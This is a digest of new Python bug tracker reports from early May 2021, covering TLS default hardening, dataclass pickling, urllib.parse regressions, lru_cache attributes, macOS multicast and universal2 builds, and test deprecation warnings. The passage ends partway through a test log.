From report at bugs.python.org  Sat May  1 06:41:52 2021
From: report at bugs.python.org (Christian Heimes)
Date: Sat, 01 May 2021 10:41:52 +0000
Subject: [New-bugs-announce] [issue43998] Increase security of TLS settings
 in 3.10
Message-ID: <1619865712.14.0.970623185064.issue43998@roundup.psfhosted.org>


New submission from Christian Heimes <lists at cheimes.de>:

It's 2021. TLS 1.0 and 1.1 have been deprecated in RFC 8996. Browsers have disabled TLS 1.0 and 1.1, too. Python should no longer enable TLS 1.1 by default and require strong TLS ciphers with forward secrecy. 

I'm going to update Python's default cipher suite based on Hynek's excellent blog post https://hynek.me/articles/hardening-your-web-servers-ssl-ciphers/ . I'll deviate in two minor points:

* keep ephemeral, finite field Diffie-Hellman for legacy hardware. It's not that insecure, just slow.
* enforce security level 2 to require strong RSA and DH keys. @SECLEVEL=2 enforced minimum of 112 bits security. Almost all common RSA certificates use 2048 bits RSA signature.

I'm also going to set TLS 1.2 as minimum protocol version with Python is compiled with --with-ssl-default-suites=python or --with-ssl-default-suites=custom_string. Distro vendors can use --with-ssl-default-suites=openssl to override the setting.

----------
assignee: christian.heimes
components: SSL
messages: 392582
nosy: christian.heimes, hynek
priority: normal
severity: normal
status: open
title: Increase security of TLS settings in 3.10
type: security
versions: Python 3.10, Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue43998>
_______________________________________

From report at bugs.python.org  Sat May  1 12:03:38 2021
From: report at bugs.python.org (Eric V. Smith)
Date: Sat, 01 May 2021 16:03:38 +0000
Subject: [New-bugs-announce] [issue43999] Cannot pickle frozen dataclasses
 with slots
Message-ID: <1619885018.94.0.115449567872.issue43999@roundup.psfhosted.org>


New submission from Eric V. Smith <eric at trueblade.com>:

Originally reported in https://github.com/ericvsmith/dataclasses/issues/154

import pickle
from dataclasses import dataclass

@dataclass(frozen=True, slots=True)
class ExampleDataclass:
    foo: str
    bar: int



assert ExampleDataclass.__slots__ == ("foo", "bar")

assert pickle.loads(
    pickle.dumps(ExampleDataclass("a", 1))
) == ExampleDataclass("a", 1)

  File "<string>", line 4, in __setattr__
dataclasses.FrozenInstanceError: cannot assign to field 'foo'

I'll get a PR ready, likely based on ariebovenberg's solution in the above mentioned issue.

----------
assignee: eric.smith
components: Library (Lib)
messages: 392603
nosy: eric.smith
priority: deferred blocker
severity: normal
status: open
title: Cannot pickle frozen dataclasses with slots
versions: Python 3.10

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue43999>
_______________________________________

From report at bugs.python.org  Sat May  1 13:06:30 2021
From: report at bugs.python.org (Cyril Jouve)
Date: Sat, 01 May 2021 17:06:30 +0000
Subject: [New-bugs-announce] [issue44000] Current PY_VERSION 3.10.0a7+ does
 not conform to PEP 440
Message-ID: <1619888790.71.0.422787760296.issue44000@roundup.psfhosted.org>


New submission from Cyril Jouve <jv.cyril at gmail.com>:

It was changed from 3.10.0a7 to 3.10.0a7+ in 
https://github.com/python/cpython/commit/04eecf7fac8bb8d7a19d14cf2009088046956ab5

According to https://www.python.org/dev/peps/pep-0440/#public-version-identifiers, it should be something like 3.10.0a7.post1

or with https://www.python.org/dev/peps/pep-0440/#local-version-identifiers, it should be something like 3.10.0a7+post

see also implementation in packaging: https://github.com/pypa/packaging/blob/main/packaging/version.py#L225

----------
messages: 392607
nosy: Cyril Jouve
priority: normal
severity: normal
status: open
title: Current PY_VERSION 3.10.0a7+ does not conform to PEP 440

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44000>
_______________________________________

From report at bugs.python.org  Sat May  1 13:15:22 2021
From: report at bugs.python.org (Jelle Zijlstra)
Date: Sat, 01 May 2021 17:15:22 +0000
Subject: [New-bugs-announce] [issue44001] typing.Literal: args must be
 hashable, not immutable
Message-ID: <1619889322.68.0.709429587996.issue44001@roundup.psfhosted.org>


New submission from Jelle Zijlstra <jelle.zijlstra at gmail.com>:

After the changes from bpo-42345, the Literal documentation claims that "Literal objects will now raise a TypeError exception during equality comparisons if one of their parameters are not immutable." But in fact it's *unhashable* types that raise an error; mutable but hashable types such as functions or custom objects work fine.

I'll submit a PR for this but may wait until GH-25787 is resolved.

----------
assignee: Jelle Zijlstra
components: Documentation
messages: 392608
nosy: Jelle Zijlstra
priority: normal
severity: normal
status: open
title: typing.Literal: args must be hashable, not immutable
versions: Python 3.10, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44001>
_______________________________________

From report at bugs.python.org  Sat May  1 14:17:15 2021
From: report at bugs.python.org (Gregory P. Smith)
Date: Sat, 01 May 2021 18:17:15 +0000
Subject: [New-bugs-announce] [issue44002] Use functools.lru_cache in
 urllib.parse instead of 1996 custom caching
Message-ID: <1619893035.74.0.250033562413.issue44002@roundup.psfhosted.org>


New submission from Gregory P. Smith <greg at krypto.org>:

`urllib.parse` has custom caching code for both `urlsplit()` and `quote()`.  From 1996.

https://github.com/python/cpython/commit/3fd32ecd9232fcb041b9f1f7a19a1e7e65cf11a0
https://github.com/python/cpython/commit/74495409861b357d9925937d6576229c74e2550d

with a truthful comment added by Nick in 2010 that we should just use functools.lru_cache.

https://github.com/python/cpython/commit/9fc443cf590c76d4b979c46dc954d3956cee0319#diff-b3712475a413ec972134c0260c8f1eb1deefb66184f740ef00c37b4487ef873e

time to clean up this cruft and do that.

I'm waiting for after the 3.10 cut and a still in progress urllib.parse security fix to land before rebasing my soon to be attached PR to avoid code conflicts.

----------
assignee: gregory.p.smith
components: Library (Lib)
messages: 392614
nosy: gregory.p.smith
priority: normal
severity: normal
status: open
title: Use functools.lru_cache in urllib.parse instead of 1996 custom caching
type: enhancement
versions: Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44002>
_______________________________________

From report at bugs.python.org  Sat May  1 15:49:53 2021
From: report at bugs.python.org (Gregory P. Smith)
Date: Sat, 01 May 2021 19:49:53 +0000
Subject: [New-bugs-announce] [issue44003] functools.lru_cache omits
 __defaults__ attribute from wrapped function
Message-ID: <1619898593.46.0.475516317903.issue44003@roundup.psfhosted.org>


New submission from Gregory P. Smith <greg at krypto.org>:

When the C implementation of functools.lru_cache was added in bpo/issue14373, it appears to have omitted setting `.__defaults__` on its wrapped function.


```
Python 3.10.0a7+ (heads/master-dirty:823fbf4e0e, May  1 2021, 11:10:30) [Clang 12.0.0 (clang-1200.0.32.29)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import functools
>>> def func(b=5): pass
... 
>>> @functools.lru_cache
... def cached_func(b=5): pass
... 
>>> func.__defaults__
(5,)
>>> cached_func.__defaults__
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
AttributeError: 'functools._lru_cache_wrapper' object has no attribute '__defaults__'
```

functools.update_wrapper() does set __defaults__ so this appears to just be an oversight in Modules/_functoolsmodule.c.

----------
components: Library (Lib)
keywords: 3.5regression
messages: 392623
nosy: gregory.p.smith, serhiy.storchaka
priority: normal
severity: normal
stage: needs patch
status: open
title: functools.lru_cache omits __defaults__ attribute from wrapped function
type: behavior
versions: Python 3.10, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44003>
_______________________________________

From report at bugs.python.org  Sat May  1 16:14:35 2021
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Sat, 01 May 2021 20:14:35 +0000
Subject: [New-bugs-announce] [issue44004] test_nntplib is failing in all
 buildbots
Message-ID: <1619900075.87.0.568727924353.issue44004@roundup.psfhosted.org>


New submission from Pablo Galindo Salgado <pablogsal at gmail.com>:

test test_nntplib crashed -- Traceback (most recent call last):
  File "/home/buildbot/buildarea/3.x.cstratak-RHEL7-x86_64.lto-pgo/build/Lib/test/libregrtest/runtest.py", line 282, in _runtest_inner
    refleak = _runtest_inner2(ns, test_name)
  File "/home/buildbot/buildarea/3.x.cstratak-RHEL7-x86_64.lto-pgo/build/Lib/test/libregrtest/runtest.py", line 229, in _runtest_inner2
    the_module = importlib.import_module(abstest)
  File "/home/buildbot/buildarea/3.x.cstratak-RHEL7-x86_64.lto-pgo/build/Lib/importlib/__init__.py", line 126, in import_module
    return _bootstrap._gcd_import(name[level:], package, level)
  File "<frozen importlib._bootstrap>", line 1050, in _gcd_import
  File "<frozen importlib._bootstrap>", line 1027, in _find_and_load
  File "<frozen importlib._bootstrap>", line 1006, in _find_and_load_unlocked
  File "<frozen importlib._bootstrap>", line 688, in _load_unlocked
  File "<frozen importlib._bootstrap_external>", line 882, in exec_module
  File "<frozen importlib._bootstrap>", line 241, in _call_with_frames_removed
  File "/home/buildbot/buildarea/3.x.cstratak-RHEL7-x86_64.lto-pgo/build/Lib/test/test_nntplib.py", line 350, in <module>
    class NetworkedNNTP_SSLTests(NetworkedNNTPTests):
  File "/home/buildbot/buildarea/3.x.cstratak-RHEL7-x86_64.lto-pgo/build/Lib/test/test_nntplib.py", line 371, in NetworkedNNTP_SSLTests
    ssl_context = ssl._create_unverified_context()
AttributeError: 'NoneType' object has no attribute '_create_unverified_context'
1 test failed again:
    test_nntplib

Example failure:

https://buildbot.python.org/all/#/builders/96/builds/107/steps/5/logs/stdio

----------
assignee: christian.heimes
components: SSL
messages: 392628
nosy: christian.heimes, pablogsal
priority: normal
severity: normal
status: open
title: test_nntplib is failing in all buildbots

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44004>
_______________________________________

From report at bugs.python.org  Sat May  1 17:16:26 2021
From: report at bugs.python.org (giangy)
Date: Sat, 01 May 2021 21:16:26 +0000
Subject: [New-bugs-announce] [issue44005] multiple socket bind failure on
 Mac OS X with SO_REUSEADDR
Message-ID: <1619903786.51.0.0561605628071.issue44005@roundup.psfhosted.org>


New submission from giangy <sforzagianluca at gmail.com>:

I am connecting to a server using a multicast UDP socket.

Running two instances of the code below, in two shell windows on the same computer, it works on both Windows 10 and Ubuntu 18.04, but it fails on Mac OS 10.15.7, reporting:

>>> sock.bind(('', MCAST_PORT))
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
OSError: [Errno 48] Address already in use

~~

import socket 

CLIENT_IP = '192.168.1.53'

MCAST_ADDR = '239.0.1.1'
MCAST_PORT = 10000

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.setsockopt(socket.SOL_IP, socket.IP_MULTICAST_IF, socket.inet_aton(CLIENT_IP))
sock.setsockopt(socket.SOL_IP, socket.IP_ADD_MEMBERSHIP, socket.inet_aton(MCAST_ADDR) + socket.inet_aton(CLIENT_IP))
sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 2)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_IF, socket.inet_aton(CLIENT_IP))
sock.bind(('', MCAST_PORT))

----------
components: Library (Lib), macOS
messages: 392641
nosy: ned.deily, ronaldoussoren, sforzagianluca
priority: normal
severity: normal
status: open
title: multiple socket bind failure on Mac OS X with SO_REUSEADDR
type: behavior
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44005>
_______________________________________

From report at bugs.python.org  Sat May  1 23:23:20 2021
From: report at bugs.python.org (Jelle Zijlstra)
Date: Sun, 02 May 2021 03:23:20 +0000
Subject: [New-bugs-announce] [issue44006] symbol documentation still exists
Message-ID: <1619925800.83.0.907647536987.issue44006@roundup.psfhosted.org>


New submission from Jelle Zijlstra <jelle.zijlstra at gmail.com>:

symbol is being removed in 3.10, but https://docs.python.org/3.10/library/symbol.html still exists and claims it will be removed in "future versions". It was removed in bpo-40939 / GH-21005.

----------
assignee: docs at python
components: Documentation
messages: 392653
nosy: Jelle Zijlstra, docs at python, lys.nikolaou
priority: normal
severity: normal
status: open
title: symbol documentation still exists
versions: Python 3.10

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44006>
_______________________________________

From report at bugs.python.org  Sat May  1 23:29:37 2021
From: report at bugs.python.org (Arcadiy Ivanov)
Date: Sun, 02 May 2021 03:29:37 +0000
Subject: [New-bugs-announce] [issue44007] urlparse("host:123",
 "http") inconsistent between 3.8 and 3.9
Message-ID: <1619926177.78.0.708746826424.issue44007@roundup.psfhosted.org>


New submission from Arcadiy Ivanov <arcadiy at ivanov.biz>:

$ ~/.pyenv/versions/3.8.6/bin/python3.8
Python 3.8.6 (default, Oct  8 2020, 13:32:06) 
[GCC 10.2.1 20200723 (Red Hat 10.2.1-1)] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from urllib.parse import urlparse
>>> urlparse("host:123", "http")
ParseResult(scheme='http', netloc='', path='host:123', params='', query='', fragment='')
>>> 

$ ~/.pyenv/versions/3.8.9/bin/python3.8
Python 3.8.9 (default, May  1 2021, 23:27:11) 
[GCC 11.1.1 20210428 (Red Hat 11.1.1-1)] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from urllib.parse import urlparse
>>> urlparse("host:123", "http")
ParseResult(scheme='http', netloc='', path='host:123', params='', query='', fragment='')
>>> 

$ ~/.pyenv/versions/3.9.4/bin/python3.9
Python 3.9.4 (default, Apr  8 2021, 17:27:49) 
[GCC 10.2.1 20201125 (Red Hat 10.2.1-9)] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from urllib.parse import urlparse
>>> urlparse("host:123", "http")
ParseResult(scheme='host', netloc='', path='123', params='', query='', fragment='')
>>> 


While I'm not sure, it seems to me that 3.9 is wrong here, given that the default scheme is specified as a second parameter to URL parse, i.e. "host:123" should be treated as "http://host:123" as in 3.8.

We also relied on this parser behavior, i.e. for us it's a regression.

----------
components: Library (Lib)
messages: 392654
nosy: arcivanov
priority: normal
severity: normal
status: open
title: urlparse("host:123", "http") inconsistent between 3.8 and 3.9
versions: Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44007>
_______________________________________

From report at bugs.python.org  Sun May  2 00:54:09 2021
From: report at bugs.python.org (R0b0t1)
Date: Sun, 02 May 2021 04:54:09 +0000
Subject: [New-bugs-announce] [issue44008] os.walk and other directory
 traversal does not handle recursive mounts on Windows
Message-ID: <1619931249.15.0.612440127198.issue44008@roundup.psfhosted.org>


New submission from R0b0t1 <sid at aeam.us>:

Using `os.walk` to traverse a filesystem on Windows does not terminate in the case of a recursive mountpoint existing somewhere in the path.

In my case C:\circlemount is linked to C:\, producing paths such as C:\circlemount\circlemount\circlemount\circlemount\...

A drive mount point may be set up as follows:

```diskpart (enters shell)
list volume`
select volume ${#}`
assign mount=${path}
```

Notably this only happens for Win32 python. Cygwin and MSYS2 pythons as well as the pythons distributed with some packages like Inkscape behave properly.

----------
components: Windows
messages: 392666
nosy: R0b0t1, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: os.walk and other directory traversal does not handle recursive mounts on Windows
type: behavior
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44008>
_______________________________________

From report at bugs.python.org  Sun May  2 03:23:23 2021
From: report at bugs.python.org (Ned Deily)
Date: Sun, 02 May 2021 07:23:23 +0000
Subject: [New-bugs-announce] [issue44009] Provide "python3.x-intel64"
 command with macOS universal2 framework builds
Message-ID: <1619940203.08.0.622779436946.issue44009@roundup.psfhosted.org>


New submission from Ned Deily <nad at python.org>:

On certain macOS configurations, it is possible to have a universal build (one that contains executables and libraries with binaries for more than one CPU architecture combined into "fat" files) where running with a choice of archs. Examples in the past included Intel-64 (x86_64) vs Intel-32 (i386) vs (in macOS 10.5 and 10.6) ppc (using Rosetta emulation. While it is possible to use the macOS arch utility to select a non-default arch for execution:
   arch -i386 /usr/local/bin/python3
this method does not handle the common case of a Python program spawning another Python subprocess (to run a test, say) by calling the subprocess module to execute the interpreter binary recorded in sys.executable, which only contains the interpreter executable file name, not the arch command.  Thus the subprocess attempts to launch in the default arch for the configuration rather than the overriden arch, which may cause program failures or incorrect results.  To get around this where appropriate, framework universal builds on macOS provided an additional 32-bit-only python3.x executable file, python3.x-32, that solves this problem: by invoking Python with python3.x-32, the main interpreter process runs in 32-bit mode and any spawned subprocesses using sys.executable will also run in 32-bit mode.

With the introduction of Apple Silicon Macs and their support for running x86_64 Intel-64 binaries with Rosetta 2 emulation, the need to be able to force Python to run a non-default arch reliably is again important for the transition period while third-party packages are being ported or tested on the new arm64-based Macs. For example, there are some popular packages on PyPI that do not yet provide universal2 or just arm64 wheels but, by forcing Python to run in Intel mode, existing wheels can be tested and used.

To that end, the PR for this issue adds a "python3.x-intel64" and "python3-intel64" executable or symlink, as needed, when installing a macOS "universal2" framework build, similar to the "python3.x-32" and "python3-32" links installed for macOS "intel" framework builds.

An example:

$ sw_vers 
ProductName:	macOS
ProductVersion:	11.3
BuildVersion:	20E232
$ uname -a
Darwin pyb20 20.4.0 Darwin Kernel Version 20.4.0: Fri Mar  5 01:14:02 PST 2021; root:xnu-7195.101.1~3/RELEASE_ARM64_T8101 arm64
$ python3.8 -m pip install --only-binary ':all:' numpy
ERROR: Could not find a version that satisfies the requirement numpy (from versions: none)
ERROR: No matching distribution found for numpy
$ python3.8-intel64 -m pip install --only-binary ':all:' numpy 
Collecting numpy
  Using cached numpy-1.20.2-cp38-cp38-macosx_10_9_x86_64.whl (16.0 MB)
Installing collected packages: numpy
Successfully installed numpy-1.20.2

Of course, for this to be useful assumes that running under Rosetta 2 emulation provides the correct results. Testing is advised!

----------
assignee: ned.deily
components: macOS
messages: 392669
nosy: ned.deily, ronaldoussoren
priority: normal
severity: normal
status: open
title: Provide "python3.x-intel64" command with macOS universal2 framework builds
versions: Python 3.10, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44009>
_______________________________________

From report at bugs.python.org  Sun May  2 11:18:46 2021
From: report at bugs.python.org (E. Paine)
Date: Sun, 02 May 2021 15:18:46 +0000
Subject: [New-bugs-announce] [issue44010] IDLE: highlight new `match` /
 `case` syntax
Message-ID: <1619968726.44.0.898029339856.issue44010@roundup.psfhosted.org>


New submission from E. Paine <paineelisha at gmail.com>:

As-per PEP 634, structural pattern matching is now in Python. This introduces the `match` and `case` keywords. IDLE does not highlight these.

The problem is that these are listed in `keyword.softkwlist` rather than `keyword.kwlist` (which is what IDLE uses). This confuses me, as this is not a __future__ feature and there is no discussion of it becoming one in #42128. There is also no discussion (that I could find) about which list it should be put in. The addition to softkwlist was done in PR-22917.

Do we change IDLE to use softkwlist, or move those keywords into kwlist?

----------
assignee: terry.reedy
components: IDLE
messages: 392705
nosy: epaine, taleinat, terry.reedy
priority: normal
severity: normal
status: open
title: IDLE: highlight new `match` / `case` syntax
type: behavior
versions: Python 3.10, Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44010>
_______________________________________

From report at bugs.python.org  Sun May  2 16:33:40 2021
From: report at bugs.python.org (Andrew Svetlov)
Date: Sun, 02 May 2021 20:33:40 +0000
Subject: [New-bugs-announce] [issue44011] Borrow asyncio ssl implementation
 from uvloop
Message-ID: <1619987620.01.0.201978044819.issue44011@roundup.psfhosted.org>


New submission from Andrew Svetlov <andrew.svetlov at gmail.com>:

There is a PR created a long time ago.
Finally, I've ported tests for it also.

The documentation doesn't mention new ssh_shutdown_timeout parameter yet.

The latest changes from https://github.com/MagicStack/uvloop/pull/385 can be applied separately.

----------
components: asyncio
messages: 392726
nosy: asvetlov, yselivanov
priority: normal
severity: normal
status: open
title: Borrow asyncio ssl implementation from uvloop
versions: Python 3.10

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44011>
_______________________________________

From report at bugs.python.org  Sun May  2 17:47:15 2021
From: report at bugs.python.org (Oliver Giles)
Date: Sun, 02 May 2021 21:47:15 +0000
Subject: [New-bugs-announce] [issue44012] IPv6Address.exploded does not
 support interface name (scope id)
Message-ID: <1619992035.49.0.377506474729.issue44012@roundup.psfhosted.org>


New submission from Oliver Giles <ohw.giles at gmail.com>:

IPv6 addresses may contain a scope id, for example "fe80::1%eth0".

These are usually required for link-local addresses.

bpo-34788 added support for scoped IPv6 addresses, but missed the
"exploded" method:

>>> import ipaddress
>>> ipaddress.IPv6Address('fe80::1%eth0').exploded
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/usr/lib/python3.9/ipaddress.py", line 394, in exploded
    return self._explode_shorthand_ip_string()
  File "/usr/lib/python3.9/ipaddress.py", line 1824, in _explode_shorthand_ip_string
    ip_int = self._ip_int_from_string(ip_str)
  File "/usr/lib/python3.9/ipaddress.py", line 1705, in _ip_int_from_string
    raise AddressValueError("%s in %r" % (exc, ip_str)) from None
ipaddress.AddressValueError: Only hex digits permitted in '1%eth0' in 'fe80::1%eth0'

----------
components: Library (Lib)
messages: 392740
nosy: ohwgiles
priority: normal
severity: normal
status: open
title: IPv6Address.exploded does not support interface name (scope id)

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44012>
_______________________________________

From report at bugs.python.org  Sun May  2 18:33:35 2021
From: report at bugs.python.org (Xiang Zhong)
Date: Sun, 02 May 2021 22:33:35 +0000
Subject: [New-bugs-announce] [issue44013] tempfile.TemporaryFile: name of
 file descriptor cannot be reused in consecutive initialization
Message-ID: <1619994815.29.0.724748719135.issue44013@roundup.psfhosted.org>


New submission from Xiang Zhong <zhongxiang117 at gmail.com>:

The variable of instance cannot be reused in two consecutive codes chunk combinations. Please check the difference in attached file, xtempfile.py, function: test_3 & test_4.

However, surprisingly, the problem can be fixed in test_5 and test_6.

Which may be helpful for debug: why does the value of "id(fd.name)" keep constant all the time inside those combinations?

----------
components: Library (Lib)
files: xtempfile.py
messages: 392746
nosy: zhongxiang117
priority: normal
severity: normal
status: open
title: tempfile.TemporaryFile: name of file descriptor cannot be reused in consecutive initialization
type: behavior
versions: Python 3.8, Python 3.9
Added file: https://bugs.python.org/file50004/xtempfile.py

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44013>
_______________________________________

From report at bugs.python.org  Mon May  3 01:51:29 2021
From: report at bugs.python.org (Kris Powell)
Date: Mon, 03 May 2021 05:51:29 +0000
Subject: [New-bugs-announce] [issue44014] Fix error in Enum documentation.
Message-ID: <1620021089.21.0.395770792641.issue44014@roundup.psfhosted.org>


New submission from Kris Powell <krisopowell at gmail.com>:

The example code was referring to the wrong enum `Color`, instead of `Ordinal`.

----------
messages: 392765
nosy: krisaoe
priority: normal
severity: normal
status: open
title: Fix error in Enum documentation.
type: enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44014>
_______________________________________

From report at bugs.python.org  Mon May  3 02:09:50 2021
From: report at bugs.python.org (Eric V. Smith)
Date: Mon, 03 May 2021 06:09:50 +0000
Subject: [New-bugs-announce] [issue44015] dataclasses: it should be an error
 to specify KW_ONLY twice
Message-ID: <1620022190.44.0.251447946613.issue44015@roundup.psfhosted.org>


New submission from Eric V. Smith <eric at trueblade.com>:

Specifying KW_ONLY twice should raise an exception, but does not:

>>> @dataclasses.dataclass
... class foo:
...   _: dataclasses.KW_ONLY
...   x: dataclasses.KW_ONLY
...

----------
assignee: eric.smith
components: Library (Lib)
messages: 392768
nosy: eric.smith
priority: normal
severity: normal
status: open
title: dataclasses: it should be an error to specify KW_ONLY twice
type: behavior
versions: Python 3.10

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44015>
_______________________________________

From report at bugs.python.org  Mon May  3 04:04:55 2021
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Mon, 03 May 2021 08:04:55 +0000
Subject: [New-bugs-announce] [issue44016] Enum related deprecation warnings
 in test_httpservers and test_faulthandler
Message-ID: <1620029095.2.0.0849109876545.issue44016@roundup.psfhosted.org>


New submission from Karthikeyan Singaravelan <tir.karthi at gmail.com>:

These warnings seem to be related to changes in issue43945

./python -Wall -m test test_httpservers test_faulthandler
0:00:00 load avg: 4.83 Run tests sequentially
0:00:00 load avg: 4.83 [1/2] test_httpservers
/root/cpython/Lib/test/test_httpservers.py:279: DeprecationWarning: in 3.12 format() will use the enum member, not the enum member's value;
use a format specifier, such as :d for an IntEnum member, to maintain the current display
  self.con.request('HEAD', '/{}'.format(code))
/root/cpython/Lib/test/test_httpservers.py:279: DeprecationWarning: in 3.12 format() will use the enum member, not the enum member's value;
use a format specifier, such as :d for an IntEnum member, to maintain the current display
  self.con.request('HEAD', '/{}'.format(code))
/root/cpython/Lib/test/test_httpservers.py:279: DeprecationWarning: in 3.12 format() will use the enum member, not the enum member's value;
use a format specifier, such as :d for an IntEnum member, to maintain the current display
  self.con.request('HEAD', '/{}'.format(code))
/root/cpython/Lib/test/test_httpservers.py:279: DeprecationWarning: in 3.12 format() will use the enum member, not the enum member's value;
use a format specifier, such as :d for an IntEnum member, to maintain the current display
  self.con.request('HEAD', '/{}'.format(code))
/root/cpython/Lib/test/test_httpservers.py:279: DeprecationWarning: in 3.12 format() will use the enum member, not the enum member's value;
use a format specifier, such as :d for an IntEnum member, to maintain the current display
  self.con.request('HEAD', '/{}'.format(code))
/root/cpython/Lib/test/test_httpservers.py:262: DeprecationWarning: in 3.12 format() will use the enum member, not the enum member's value;
use a format specifier, such as :d for an IntEnum member, to maintain the current display
  self.con.request('SEND_ERROR', '/{}'.format(code))
/root/cpython/Lib/test/test_httpservers.py:262: DeprecationWarning: in 3.12 format() will use the enum member, not the enum member's value;
use a format specifier, such as :d for an IntEnum member, to maintain the current display
  self.con.request('SEND_ERROR', '/{}'.format(code))
/root/cpython/Lib/test/test_httpservers.py:262: DeprecationWarning: in 3.12 format() will use the enum member, not the enum member's value;
use a format specifier, such as :d for an IntEnum member, to maintain the current display
  self.con.request('SEND_ERROR', '/{}'.format(code))
/root/cpython/Lib/test/test_httpservers.py:262: DeprecationWarning: in 3.12 format() will use the enum member, not the enum member's value;
use a format specifier, such as :d for an IntEnum member, to maintain the current display
  self.con.request('SEND_ERROR', '/{}'.format(code))
/root/cpython/Lib/test/test_httpservers.py:262: DeprecationWarning: in 3.12 format() will use the enum member, not the enum member's value;
use a format specifier, such as :d for an IntEnum member, to maintain the current display
  self.con.request('SEND_ERROR', '/{}'.format(code))
0:00:00 load avg: 4.83 [2/2] test_faulthandler
/root/cpython/Lib/test/test_faulthandler.py:705: DeprecationWarning: in 3.12 format() will use the enum member, not the enum member's value;
use a format specifier, such as :d for an IntEnum member, to maintain the current display
  code = code.format(
/root/cpython/Lib/test/test_faulthandler.py:705: DeprecationWarning: in 3.12 format() will use the enum member, not the enum member's value;
use a format specifier, such as :d for an IntEnum member, to maintain the current display
  code = code.format(
/root/cpython/Lib/test/test_faulthandler.py:705: DeprecationWarning: in 3.12 format() will use the enum member, not the enum member's value;
use a format specifier, such as :d for an IntEnum member, to maintain the current display
  code = code.format(
/root/cpython/Lib/test/test_faulthandler.py:705: DeprecationWarning: in 3.12 format() will use the enum member, not the enum member's value;
use a format specifier, such as :d for an IntEnum member, to maintain the current display
  code = code.format(
/root/cpython/Lib/test/test_faulthandler.py:705: DeprecationWarning: in 3.12 format() will use the enum member, not the enum member's value;
use a format specifier, such as :d for an IntEnum member, to maintain the current display
  code = code.format(
/root/cpython/Lib/test/test_faulthandler.py:705: DeprecationWarning: in 3.12 format() will use the enum member, not the enum member's value;
use a format specifier, such as :d for an IntEnum member, to maintain the current display
  code = code.format(

== Tests result: SUCCESS ==

All 2 tests OK.

Total duration: 22.9 sec
Tests result: SUCCESS

----------
components: Tests
messages: 392778
nosy: ethan.furman, vstinner, xtreak
priority: normal
severity: normal
status: open
title: Enum related deprecation warnings in test_httpservers and test_faulthandler
type: behavior
versions: Python 3.10

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44016>
_______________________________________

From report at bugs.python.org  Mon May  3 04:17:27 2021
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Mon, 03 May 2021 08:17:27 +0000
Subject: [New-bugs-announce] [issue44017] Deprecation warning in tests over
 no current event loop
Message-ID: <1620029847.4.0.278202902398.issue44017@roundup.psfhosted.org>


New submission from Karthikeyan Singaravelan <tir.karthi at gmail.com>:

Related to warnings from issue39529

./python -Wall -m test test_contextlib_async test_unittest
0:00:00 load avg: 0.91 Run tests sequentially
0:00:00 load avg: 0.91 [1/2] test_contextlib_async
Task was destroyed but it is pending!
task: <Task pending name='Task-12' coro=<<async_generator_athrow without __name__>()>>
Task was destroyed but it is pending!
task: <Task pending name='Task-14' coro=<<async_generator_athrow without __name__>()>>
Task was destroyed but it is pending!
task: <Task pending name='Task-20' coro=<<async_generator_athrow without __name__>()>>
/root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop
  loop = asyncio.get_event_loop()
/root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop
  f = asyncio.ensure_future(coro)
/root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop
  loop = asyncio.get_event_loop()
/root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop
  f = asyncio.ensure_future(coro)
/root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop
  loop = asyncio.get_event_loop()
/root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop
  f = asyncio.ensure_future(coro)
/root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop
  loop = asyncio.get_event_loop()
/root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop
  f = asyncio.ensure_future(coro)
/root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop
  loop = asyncio.get_event_loop()
/root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop
